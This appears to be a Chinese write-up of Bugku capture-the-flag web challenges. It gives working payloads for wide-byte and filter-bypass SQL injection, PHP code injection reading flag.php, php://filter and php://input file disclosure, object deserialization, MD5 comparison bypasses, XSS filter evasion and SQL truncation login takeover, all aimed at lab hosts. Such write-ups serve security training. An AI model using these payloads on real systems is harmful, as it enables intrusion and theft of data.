Web(1)

web2

滑稽,F12查看源,得到flag:

文件上传测试

题目提示:
请上传PHP文件,文件上传大小不允许超过1M
试了几次之后,当上传php文件时提示非图片文件,
上传图片时,提示非php文件,打开burpsuite,
将一个php文件的后缀加上.jpg,上传时将.jpg删掉再上传即可

计算器

题目给出的输入框限制了最大输入长度,
F12将最大长度限制删掉就行.

web基础$_GET

这题有基础的都知道怎么做:
代码:

1
2
3
4
$what=$_GET['what'];
echo $what;
if($what=='flag')
echo 'flag{****}';

将what提交了就行

web基础$_POST

跟上题一样:

矛盾

代码:

1
2
3
4
5
6
7
$num=$_GET['num'];
if(!is_numeric($num))
{
echo $num;
if($num==1)
echo 'flag{**********}';
}

代码意思是当num不是个数字并且值等于1的时候输出flag:
payload:URL?num=1x31
提交拿到flag

web3

打开的时候阻止页面创建对话框


查看源码,
在最底下有串代码


html码得到flag
附上解码连接

sql注入

这题是宽字节注入:
原理:

1
2
3
4
5
6
7
8
9
10
GBK 占用两字节
ASCII占用一字节
PHP中编码为GBK,函数执行添加的是ASCII编码(添加的符号为“\”),
MYSQL默认字符集是GBK等宽字节字符集。
大家都知道%df’ 被PHP转义,单引号被加上反斜杠\,
变成了 %df\’,其中\的十六进制是 %5C ,
那么现在 %df\’ =%df%5c%27,
如果程序的默认字符集是GBK等宽字节字符集,
则MySQL用GBK的编码时,会认为 %df%5c 是一个宽字符,也就是縗,
也就是说:%df\’ = %df%5c%27=縗’,有了单引号就好注入了。

payload:

1
http://103.238.227.13:10083/?id=%df%27 union select 1,string from sql5.key%23

首先,在url栏输入:

1
http://103.238.227.13:10083/?id=%df%27

报错了,说明可以注入

继续查看可显字段和库名:

1
http://103.238.227.13:10083/?id=%df%27 union select 1,database()%23

告诉你查询key表里id=1的字段:

1
http://103.238.227.13:10083/?id=%df%27 union select 1,string from sql5.key%23

得到flag

域名解析

hint:
听说把 flag.bugku.com 解析到120.24.86.145 就能拿到flag
直接改host就行,这里用火狐一个插件直接改访问的host就行

直接拿到flag

SQL注入1

过滤代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
//过滤sql
$array = array('table','union','and','or','load_file','create','delete','select','update','sleep','alter','drop','truncate','from','max','min','order','limit');
foreach ($array as $value)
{
if (substr_count($id, $value) > 0)
{
exit('包含敏感关键字!'.$value);
}
}

//xss过滤
$id = strip_tags($id);

$query = "SELECT * FROM temp WHERE id={$id} LIMIT 1";

注入的关键词几乎都过滤了,但是看到后面有个xss过滤。
查资料发现strip_tags()函数会去除字符串里的html和php标签,
思路是先在payload里插入html标签绕过sql的过滤,
然后再用xss的过滤去除html的标签:

想通之后很简单,就是常规的sql注入,
得到数据库名:

1
http://103.238.227.13:10087/?id=-1%20uni%3C%3Eon%20sel%3C%3Eect%201,databa%3C%3Ese()%23

payload:

1
http://103.238.227.13:10087/?id=-1 uni<>on sel<>ect 1,hash fr<>om sql3.key %23

查找表为key的数据表,id=1值hash字段值,得到flag

你必须让他停下

这题是不停的刷新页面,用burpsuite抓包就行:
多go几次就能拿到flag:

本地包含

括号闭合的思路,payload:

1
http://120.24.86.145:8003/index.php?hello= 1);print_r(file("./flag.php")

在服务器上执行的代码是(var_dump(hello=1);print_r(file(“./flag.php”));//
得到flag:
flag{bug-ctf-gg-99}

反括号`在linux下起着命令替换的作用。命令替换是指shell能够将一个命令的标准输出插在一个命令行中任何位置。如下:

1
2
[root@localhost sh]# echo The date is `date` 
The date is 2011年 03月 14日 星期一 21:15:43 CST

单引号、双引号用于用户把带有空格的字符串赋值给变量事的分界符。如果没有单引号或双引号,shell会把空格后的字符串解释为命令。
单引号和双引号的区别。单引号告诉shell忽略所有特殊字符,而双引号忽略大多数,但不包括$、\、`。
例子:

1
2
3
4
[root@localhost tmp]# echo ‘the date is `date`’ 
the date is `date`
[root@localhost tmp]# echo “the date is `date`”
the date is Fri Oct 9 00:11:56 CST 2015

eval( “var_dump($a);”);正是双引号!!!我们就可以用`了!
然后用cat读取输出即可!

变量1

某春秋原题。
flag In the variable !
payload:

1
http://120.24.86.145:8004/index1.php?args=GLOBALS

参考资料

web5

jsfuck
右键查看源代码:


复制下来,F12放到控制台回车,得到flag:

头等舱

看这个名字就感觉flag在响应头里:
F12查看一下响应头,得到flag

网站被黑

首先题目没有给什么提示,也没有.bak`robots等东西,所以直接上御剑扫描, 然后扫到了一个shell.php,进去发现是一个大马,但是没有地方给密码,试了几个密码不行之后发现不行,没有验证码,直接爆破,出来之后发现密码是hack`,直接得到flag

web4

题目提示查看源代码,

进行了URL编码,
p1解码:

1
function checkSubmit(){var a%3ddocument.getElementById("password")%3bif("undefined"!%3dtypeof a){if("67d709b2b

p2解码:

1
aa648cf6e87a7114f1"%3d%3da.value)return!0%3balert("Error")%3ba.focus()%3breturn!1}}document.getElementById("levelQuest").onsubmit%3dcheckSubmit%3b

大概意思就是提交的值与
p1里面那段值加上54aa2再加上p2里的值相同就行
拼接起来提交就行:

flag在index里

点进去,看看URL

一个文件包含的题,直接拿php伪协议试:
payload:

1
http://120.24.86.145:8005/post/index.php?file=php://filter//read=convert.base64-encode/resource=index.php

base64解码之后得到flag:
flag{edulcni_elif_lacol_si_siht}

输入密码查看flag

输入5位数密码,直接爆破


得到flag

点击一百万次

查看源代码:


当clicks大于1000000时,能拿到flag
F12控制台输入clicks=100000000000回车即可得到flag

备份是个好习惯

备份文件获取,将index.php.bak下载下来,
查看源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
include_once "flag.php";
ini_set("display_errors", 0);
$str = strstr($_SERVER['REQUEST_URI'], '?');
$str = substr($str,1);
$str = str_replace('key','',$str);
parse_str($str);
echo md5($key1);

echo md5($key2);
if(md5($key1) == md5($key2) && $key1 !== $key2){
echo $flag."取得flag";
}
?>

php弱类型比较,在url栏输入:

URL?key1=QNKCDZO&key2=240610708

发现没啥反应,然后看了看源码,发现过滤了key
双写key绕过,提交得到flag
payload:

1
http://120.24.86.145:8002/web16/index.php?kekeyy1=QNKCDZO&kkeyey2=240610708

秋名山老司机

直接访问:

很明显是算不到这么快的。
只能写脚本了。
附上python脚本:

1
2
3
4
5
6
7
8
9
10
import requests
import re

url = 'http://120.24.86.145:8002/qiumingshan/'
s = requests.Session()
source = s.get(url)
expression = re.search(r'(\d+[+\-*])+(\d+)', source.text).group()
result = eval(expression)
post = {'value': result}
print(s.post(url, data = post).text)

这里有个正则匹配来匹配给出的表达式,
然后直接用eval计算。
最后将value post即可得到flag,
但是计算出的表达式长度不一样,可能会超过php的最大长度
所以需要多试几遍。

速度要快

打开来什么都没有,就是一个你得快点:

查看源代码:

1
<!-- OK ,now you have to post the margin what you find -->

有一段提示,post margin变量what i find
打开bp抓包:

响应头中有个flag,
base64之后:

1
跑的还不错,给你flag吧: NjM4NzUy

估计是把 NjM4NzUy提交上去就行了,
但是后面发现还得把NjM4NzUy解一次base64:638752
这个后面再说原因。
直接上python脚本:

1
2
3
4
5
6
7
8
9
10
11
import requests
import base64
import re
url='http://120.24.86.145:8002/web6/'
a=requests.session()
r=a.get(url)
FLAG=r.headers['flag']
p=re.match('(.*)(: )(.*)',base64.b64decode(FLAG))
payload={'margin':base64.b64decode(p.group(3))}
r=a.post(url,data=payload)
print(r.text)

得到flag:

这里可以看到我的脚本用了两次base64,
如果只用一次的话,题目会提示你需要再快点,具体的这里就不试了
同时给出php的脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> 
<?php

$url = "http://120.24.86.145:8002/web6/";
$contents = file_get_contents($url);
$header_arr = get_headers($url);
$cookie = $header_arr[5];
$cookie = explode(':',$cookie)[1];
$cookie = explode(';',$cookie)[0];

$flag = $header_arr[9];
$flag = explode(':',$flag)[1];

$flag = base64_decode($flag);
$flag = explode(': ',$flag)[1];
$flag = base64_decode($flag);

$post_data = array("margin"=>$flag);
$ch = curl_init();
curl_setopt($ch,CURLOPT_URL,$url);
curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
curl_setopt($ch,CURLOPT_COOKIE,$cookie);
curl_setopt($ch,CURLOPT_POSTFIELDS,$post_data);
$output = curl_exec($ch);
curl_close($ch);

print_r($output);
?>

cookies欺骗

打开题目看到一堆乱码,
但是URL栏看到那个filename,估计是个base64,
解码之后果然:

但是前面还有个参数line,行的意思,一开始不知道这个参数有什么用,
多试了几次:

1
http://120.24.86.145:8002/web11/index.php?line=0&filename=a2V5cy50eHQ=

line=0,1,2等数的时候,对应着文件的0,1,2行
所以这个时候我们要做的是就是把index.php这个文件读到,
首先将index.phpbase64转码:aW5kZXgucGhw
然后写个脚本将line从0~40遍历一次,
附上php脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> 
<?php

$url1 = "http://120.24.86.145:8002/web11/index.php?line=";
$url2 = "&filename=aW5kZXgucGhw";

for ($i=0; $i < 40; $i++) {

$url = $url1.$i.$url2;

$contents = file_get_contents($url);
echo $contents;
echo "<br>";
}

?>

python脚本:

1
2
3
4
5
6
7
8
9
# coding:utf8
import requests

url1 = "http://120.24.86.145:8002/web11/index.php?line="
url2 = "&filename=aW5kZXgucGhw";
for i in range(40):
url=url1+str(i)+url2
ans = requests.get(url)
print(ans.text)

脚本运行之后得到的源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
error_reporting(0); 
$file=base64_decode(isset($_GET['filename'])?$_GET['filename']:"");
$line=isset($_GET['line'])?intval($_GET['line']):0;
if($file=='') header("location:index.php?line=&filename=a2V5cy50eHQ=");
$file_list = array(
'0' =>'keys.txt',
'1' =>'index.php',
);

if(isset($_COOKIE['margin']) && $_COOKIE['margin']=='margin'){
$file_list[2]='keys.php';
}

if(in_array($file, $file_list)){
$fa = file($file);
echo $fa[$line];
}
?>

看到源码之后,当存在cookie:margin且等于margin的时候,
才能读keys.php的源码,
拿bp改个包,并且将文件名参数发送为keys.php转码后的值发送即可得到flag:

XSS注入

题目提示必须包含alert(_key_),所以先提交:

1
URL?id=<script>alert(_key_)</script>

但是没有给出flag,查看源代码:

可以看到此时s里的内容< >已经被转义成了&lt &gt,
所以如果要得到flag,必须先绕过过滤:
Unicode编码绕过,查看原理

\u003c\u003e来代替< >

1
URL?id=\u003cscript\u003e alert(_key_)\u003c/script\u003e

替换之后没有弹窗,但是在源代码里可以看到flag:

这题做了处理,不能用简单的alert来弹窗,但是也有其他方法,
payload:

1
URL?id=\u003cimg%20src=1%20onerror=alert(_key_)\u003e;

得到flag

never give up

上来发现没什么提示,看了看源代码,
提示了1p.html,访问之后。。。到了bugku的论坛,
估计是有个跳转,
直接拿bp抓包访问即可:

做到这就有种感觉了,这题纯粹是来坑人的,
将中间那段代码先复制到记事本(待会方便改),
对编码熟悉一点的人应该都知道该怎么做了,base64转码:

1
JTIyJTNCaWYlMjglMjElMjRfR0VUJTVCJTI3aWQlMjclNUQlMjklMEElN0IlMEElMDloZWFkZXIlMjglMjdMb2NhdGlvbiUzQSUyMGhlbGxvLnBocCUzRmlkJTNEMSUyNyUyOSUzQiUwQSUwOWV4aXQlMjglMjklM0IlMEElN0QlMEElMjRpZCUzRCUyNF9HRVQlNUIlMjdpZCUyNyU1RCUzQiUwQSUyNGElM0QlMjRfR0VUJTVCJTI3YSUyNyU1RCUzQiUwQSUyNGIlM0QlMjRfR0VUJTVCJTI3YiUyNyU1RCUzQiUwQWlmJTI4c3RyaXBvcyUyOCUyNGElMkMlMjcuJTI3JTI5JTI5JTBBJTdCJTBBJTA5ZWNobyUyMCUyN25vJTIwbm8lMjBubyUyMG5vJTIwbm8lMjBubyUyMG5vJTI3JTNCJTBBJTA5cmV0dXJuJTIwJTNCJTBBJTdEJTBBJTI0ZGF0YSUyMCUzRCUyMEBmaWxlX2dldF9jb250ZW50cyUyOCUyNGElMkMlMjdyJTI3JTI5JTNCJTBBaWYlMjglMjRkYXRhJTNEJTNEJTIyYnVna3UlMjBpcyUyMGElMjBuaWNlJTIwcGxhdGVmb3JtJTIxJTIyJTIwYW5kJTIwJTI0aWQlM0QlM0QwJTIwYW5kJTIwc3RybGVuJTI4JTI0YiUyOSUzRTUlMjBhbmQlMjBlcmVnaSUyOCUyMjExMSUyMi5zdWJzdHIlMjglMjRiJTJDMCUyQzElMjklMkMlMjIxMTE0JTIyJTI5JTIwYW5kJTIwc3Vic3RyJTI4JTI0YiUyQzAlMkMxJTI5JTIxJTNENCUyOSUwQSU3QiUwQSUwOXJlcXVpcmUlMjglMjJmNGwyYTNnLnR4dCUyMiUyOSUzQiUwQSU3RCUwQWVsc2UlMEElN0IlMEElMDlwcmludCUyMCUyMm5ldmVyJTIwbmV2ZXIlMjBuZXZlciUyMGdpdmUlMjB1cCUyMCUyMSUyMSUyMSUyMiUzQiUwQSU3RCUwQSUwQSUwQSUzRiUzRQ

为什么是这一段,因为base64里是不会出现百分号的,
base64解码:附上链接
解码之后:

1
%22%3Bif%28%21%24_GET%5B%27id%27%5D%29%0A%7B%0A%09header%28%27Location%3A%20hello.php%3Fid%3D1%27%29%3B%0A%09exit%28%29%3B%0A%7D%0A%24id%3D%24_GET%5B%27id%27%5D%3B%0A%24a%3D%24_GET%5B%27a%27%5D%3B%0A%24b%3D%24_GET%5B%27b%27%5D%3B%0Aif%28stripos%28%24a%2C%27.%27%29%29%0A%7B%0A%09echo%20%27no%20no%20no%20no%20no%20no%20no%27%3B%0A%09return%20%3B%0A%7D%0A%24data%20%3D%20@file_get_contents%28%24a%2C%27r%27%29%3B%0Aif%28%24data%3D%3D%22bugku%20is%20a%20nice%20plateform%21%22%20and%20%24id%3D%3D0%20and%20strlen%28%24b%29%3E5%20and%20eregi%28%22111%22.substr%28%24b%2C0%2C1%29%2C%221114%22%29%20and%20substr%28%24b%2C0%2C1%29%21%3D4%29%0A%7B%0A%09require%28%22f4l2a3g.txt%22%29%3B%0A%7D%0Aelse%0A%7B%0A%09print%20%22never%20never%20never%20give%20up%20%21%21%21%22%3B%0A%7D%0A%0A%0A%3F%3E

ctf做多了就知道,这又是一段URL编码,
这个时候比较坑的一点是,
你得把这段url编码放到之前的编码里再URL解码
URL编码:附上链接
解码之后:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
var Words = "<script>window.location.href='http://www.bugku.com';</script> 
<!--";if(!$_GET['id'])
{
header('Location: hello.php?id=1');
exit();
}
$id=$_GET['id'];
$a=$_GET['a'];
$b=$_GET['b'];
if(stripos($a,'.'))
{
echo 'no no no no no no no';
return ;
}
$data = @file_get_contents($a,'r');
if($data=="bugku is a nice plateform!" and $id==0 and strlen($b)>5 and eregi("111".substr($b,0,1),"1114") and substr($b,0,1)!=4)
{
require("f4l2a3g.txt");
}
else
{
print "never never never give up !!!";
}


?>==-->"

直接看代码,访问f4l2a3g.txt
得到flag:

welcome to bugkuctf

一开始题目没给什么提示,看了看源代码:

一道代码审计题,首先是需要存在user变量,并且user变量的值需要等于welcome to the bugkuctf
但是又不能直接提交txt等于welcome to the bugkuctf,因为用了file_get_contents
所以只能用php伪协议了,
这里用到的是php://input

  • 访问请求的原始数据的只读流,可以接收到post的数据

可以看到已经绕过了file_get_contents,所以现在需要读到hint.php的源码,
但是可以看到被包含了,但是被服务器解析了,所以现在需要php://filter

  • 将代码过滤成base64展现出来

解码出来之后:

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php  

class Flag{//flag.php
public $file;
public function __tostring(){
if(isset($this->file)){
echo file_get_contents($this->file);
echo "<br>";
return ("good");
}
}
}
?>

是一个Flag类,里面是一个魔术方法tostring,官方文档:

1
__toString() 方法用于一个类被当成字符串时应怎样回应。

大概意思就是当对象被当成了字符串时echo时,执行这个方法

再用同样的方法获取到index.php的源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?php  
$txt = $_GET["txt"];
$file = $_GET["file"];
$password = $_GET["password"];

if(isset($txt)&&(file_get_contents($txt,'r')==="welcome to the bugkuctf")){
echo "hello friend!<br>";
if(preg_match("/flag/",$file)){
echo "不能现在就给你flag哦";
exit();
}else{
include($file);
$password = unserialize($password);
echo $password;
}
}else{
echo "you are not the number of bugku ! ";
}

?>

可以看到已经通过了第一个判断,接下来是需要绕过第二个判断,
而且按照题目的解释,可以知道flag就在flag.php里,但是代码里匹配了flag
所以直接用伪协议读取flag.php是行不通的了,
所以现在看到第三个参数,password,代码里有一个函unserialize(),对单一的已序列化的变量进行操作,将其转换回 PHP 的值。
现在需要做的是将Flag类实例化,使flag.php文件能够成功包含
本地代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php  

class Flag{//flag.php
public $file;
public function __tostring(){
if(isset($this->file)){
echo file_get_contents($this->file);
echo "<br>";
return ("good");
}
}
}

$ff = new Flag;
$ff->file = 'flag.php';
echo serialize($ff);
?>

这段代码就是实例化了Flag类并且将其中的flie等于flag.php,并且序列化,

1
O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}

得到一个这样的序列串,将password等于这个串即可

最终的payload:

1
2
3
4
http://120.24.86.145:8006/test1/?txt=php://input&file=hint.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}

POST:
welcome to the bugkuctf

这题把伪协议这块锻炼了一遍,是个很好的练习题

过狗一句话

这题直接就扫到了flag.txt,应该是题目坏了

字符?正则?

这题无非就是匹配一个正则,代码:

1
2
3
4
5
6
7
8
<?php 
highlight_file('2.php');
$key='KEY{********************************}';
$IM= preg_match("/key.*key.{4,7}key:\/.\/(.*key)[a-z][[:punct:]]/i", trim($_GET["id"]), $match);
if( $IM ){
die('key is: '.$key);
}
?>

照着其中的表达式一步一步写就行了,不会正则的可以参考正则表达式,
引用网上一位大佬写的

1
2
3
4
5
6
7
8
9
10
11
表达式直接写出来的字符串直接利用,如key
“.”代表任意字符
“*”代表一个或一序列字符重复出现的次数,即前一个字符重复任意次,这里可以是0次,还有就是以’^’开头,以’$’结束
“\/”代表“/”,一种转义,因为单独的//代表着正则的开始与结束
[a-z]代表a-z中的任意一个字符
[[:punct:]]代表任意一个字符,包括各种符号,记得是符号
/i代表大小写不敏感
{4-7}代表[0-9]中数字连续出现的次数是4-7次
\s匹配任意的空白符
\d 匹配数字
\b 匹配单词的开始或结束

我的payload:

1
http://120.24.86.145:8002/web10/?id=keykkeykkkkkkey:/k/kkeyk,

前女友(SKCTF)

一进题目就是PHP是世界上最好的语言,代码审计无误了
看一下源代码,有一个跳转,得到了一段代码:

1
2
3
4
5
6
7
8
9
10
11
12
<?php
if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){
$v1 = $_GET['v1'];
$v2 = $_GET['v2'];
$v3 = $_GET['v3'];
if($v1 != $v2 && md5($v1) == md5($v2)){
if(!strcmp($v3, $flag)){
echo $flag;
}
}
}
?>

payload:

1
http://118.89.219.210:49162/?v1[]=1&v2[]=2&v3[]=1

login1(SKCTF)

题目首先给了提示:

1
hint:SQL约束攻击

CSDN上一篇文章讲的很好,参考链接,
简单来说,这题就是先注册一个admin加很多空格如:

1
admin+++++++++++++++++++++++++++++++++++++++++++++

此时数据库里插入的数据也是这个,但是在查询语句,也就是select语句中,字符串末尾的空格符将会被删除,
就是刚刚注册的'admin ''admin'一样,
所以这题思路就出来了,注册一个admin后面跟上很多空格的用户,然后用正常使用admin登陆,密码填写刚刚注册使用的密码,直接登陆进管理员,得到flag

附上查询语句:

1
2
3
"SELECT username FROM users
WHERE username='$username'
AND password='$password' "

你从哪里来

这题很简单,将消息头改一下就行了:

Web(2)点此链接